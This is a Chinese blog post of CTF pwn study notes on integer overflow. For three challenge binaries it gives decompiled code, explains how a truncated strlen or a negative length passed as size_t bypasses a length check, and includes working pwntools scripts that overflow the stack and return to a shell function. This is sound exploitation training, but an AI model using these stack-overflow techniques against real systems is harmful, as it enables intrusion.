首页 > 其他分享 >pwn刷题笔记(整数溢出)

pwn刷题笔记(整数溢出)

时间:2023-04-28 16:01:03浏览次数:33  
标签:name puts Please system var io pwn 溢出 刷题

[BJDCTF 2nd]r2t3

写出反汇编代码如下:

int ds:__bss_start;

int main(){
    char buf[0x408 - 4]
    int var[4];

    my_init();
    puts("**********************************");
    puts("*     Welcome to the BJDCTF!     *");
    puts("[+]Ret2text3.0?");
    puts("[+]Please input your name:");
    read(0, buf, 0x400)
    name_check(buf);
    puts("Welcome ,u win!");
}

my_init(){
    setvbuf(ds:__bss_start, 0, 2, 0)
    setvbuf(ds:__bss_start, 0, 1, 0)
}

name_check(s){
    char dest[0x11 - 9];
    char var_9[9];
   var_9 = strlen(s); if(var_9 <= 3 || var_9 > 8){ puts("Oops,u name is too long!"); exit(); } printf("Hello,My dear %s", s) strcpy(dest, s) return }

解析:main通过read获取输入,做了字符数的限制,无法对buf进行缓冲区溢出。

   name_check函数,strlen(s)的值存放在al

   al占8位,二进制全为1时十进制表示为255,超过255就发生溢出。利用这一点对strlen的结果做整数溢出。

   整数溢出通过检查后便可对dest做缓冲区溢出。

   有现成的system("/bin/sh")

    

写出payload

#!/usr/bin/env python3

from pwn import *

io = process("./r2t3")
system_addr = 0x0804858B
payload = b'a' * 0x11 + p32(0x1234) + p32(system_addr) + b'a' * 235
io.sendlineafter("Please input your name:", payload)
io.interactive()

 

攻防世界:int_overflow

checksec查看保护,开启了NX,32位程序。

根据汇编指令写出对应反汇编代码

int ds:stdin@@GLIBC_2_0;

int main(){
    int var_c;
    setbuf(ds:stdin@@GLIBC_2_0, 0);
    setbuf(ds:stdin@@GLIBC_2_0, 0);
    setbuf(ds:stdin@@GLIBC_2_0, 0);

    puts("---------------------");
    puts("~~ Welcome to CTF! ~~");
    puts("       1.Login       ");
    puts("       2.Exit        ");
    puts("---------------------");
    printf("Your choice:");
    scanf("%d", &var_C);
    if(var_C == 1){
        login();
        return 0;
    }
    if(var_C == 2){
        puts("Bye~");
        exit(0);
    }
    puts("Invalid Choice!");
    return 0;
}

login(){
    char buf[0x228 - 0x28];
    char s[0x28];
    memset(s, 0, 0x20);
    memset(s, 0, 0x200);
    puts("Please input your username:");
    read(0, s, 0x19);
    printf("Hello %s\n", s);
    puts("Please input your passwd:");
    read(0, buf, 0x199);
    check_password(buf);
    return;
}

check_password(s){
    char dest[0x14 - 9];
    char var_9[9];
    var_9 = strlen(s);
    if(var_9 <= 3 || var_9 > 8){
        puts("Invalid Password");
        return;
        }
        puts("Success");
       strcpy(dest, s);
}

与上一题类似,区别是多了些交互信息,且system函数执行“cat flag”

  

payload如下:

#!/usr/bin/env python3

from pwn import *

io = remote("61.147.171.105", 59502)
system_addr = 0x804868B

io.sendlineafter("Your choice:", b'1')
io.sendlineafter("Please input your username:\n", b"username")
payload = b'a' * (0x14 + 4) + p32(system_addr) + b'a' * 234
io.recvuntil("Please input your passwd:\n")
io.sendline(payload)
print(io.recvall())

 

bjdctf_2020_babystack2

checksec查看保护,开启了NX

反汇编代码如下:

int main(){
    char buf[0x10 - 4];
    int nbytes;
    puts("**********************************");
    puts("*     Welcome to the BJDCTF!     *");
    puts("* And Welcome to the bin world!  *");
    puts("*  Let's try to pwn the world!   *");
    puts("* Please told me u answer loudly!*");
    puts("[+]Are u ready?");
    puts("[+]Please input the length of your name");
    scanf("%d", &nbytes);
    if(nbytes <= 0x0A){
        puts("[+]What's u name?");    
        read(0, buf, nbytes);
     return 0; } else{ puts("Oops,u name is too long!"); exit(0xFFFFFFFF); } }

read(fd, buffer, n)函数,其中第三个参数是size_t类型,即无符号整数。如果传入的参数是一个负数,read函数强制转换为size_n,结果会变成一个很大的数(整数溢出)。再对buf进行栈溢出攻击即可。

system("/bin/sh")入口地址可在ida查看。

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 27833)
system_addr = 0x400726

io.sendlineafter("Please input the length of your name", b"-1")     #输入-1,转换为size_t后变成4294967295
io.recvuntil("What's u name?")
payload = b'a' * (0x10 + 8) + p64(system_addr)
io.sendline(payload)
io.interactive()

 

标签:name,puts,Please,system,var,io,pwn,溢出,刷题
From: https://www.cnblogs.com/jimmy-hwang/p/17361093.html

相关文章

  • pwn刷题笔记(ret2libc、ROP)
    ciscn_2019_c_1 (ret2libc+rop)checksec查看保护机制,开启了NX,不能往栈里写入shellcode。encrypt函数反汇编encrypt(){chars[50];puts(InputyourPlaintexttobeencrypted)gets(s);ifstrlen(strlen(s)<x){puts("ciphertext")......
  • css中margin-top溢出修复
     .panelContainer{margin-top:20px;&::before,&::after{content:"";display:table;}} ......
  • 超长溢出头部省略打点,坑这么大,技巧这么多?
    在业务中,有这么一种场景,表格下的某一列ID值,文本超长了,正常而言会是这样:通常,这种情况都需要超长省略溢出打点,那么,就会变成这样:但是,这种展示有个缺点,3个ID看上去就完全一致了,因此,PM希望能够实现头部省略打点,尾部完全展示,那么,最终希望的效果就会是这样的:OK,很有意思的一个......
  • gson对类进行序列产生堆栈溢出
    1,gson对类进行序列号时产生如下错误现象:Handlerprocessingfailed;nestedexceptionisjava.lang.StackOverflowError原因:gson解析的类存在递归嵌套解决办法:去除嵌套即可......
  • fasttrack的SQLPwnage(失败)
    这次也是失败的,操作如下:root@bt:/pentest/exploits/fasttrack#./fast-track.py-iFast-TrackMainMenu:1.Fast-TrackUpdates2.AutopwnAutomation3.NmapScriptingEngine4.MicrosoftSQLTools5.MassClient-SideAttack6.Exploit......
  • 数据结构(刷题)
                  ......
  • pwn | jarvisoj_level3_x64
    pwn|jarvisoj_level3_x64x64ret2libcexp:frompwnimport*fromLibcSearcherimport*context.log_level='debug'p_vuln=0x00000000004005E6p_main=0x000000000040061Ap_str=0x00000000004006DC#p=process('./level3_x64')p=......
  • pwn | wustctf2020_getshell
    pwn|wustctf2020_getshellx86ret2textexp:frompwnimport*fromLibcSearcherimport*context.log_level='debug'p=remote('node4.buuoj.cn',28063)p.sendline(b'M'*(0x18+4)+p32(0x0804851B))p.interactive()......
  • 三种栈溢出保护
    Canary:在系统中插入一个"Canary"值,即一个特定的随机数或标记。这个Canary值被放置在缓冲区(buffer)的末尾,用于检测缓冲区溢出(bufferoverflow)攻击。当攻击者试图修改缓冲区以达到控制系统的目的时,他们通常会尝试覆盖Canary值。由于Canary值是随机生成的,攻击者不知道正确的值是什......
  • 秋招算法刷题
    1.组合数计算不溢出方法:https://programmercarl.com/0062.%E4%B8%8D%E5%90%8C%E8%B7%AF%E5%BE%84.html#%E6%80%9D%E8%B7%AF求组合的时候,要防止两个int相乘溢出! 所以不能把算式的分子都算出来,分母都算出来再做除法。classSolution{public:intuniquePaths(intm,intn......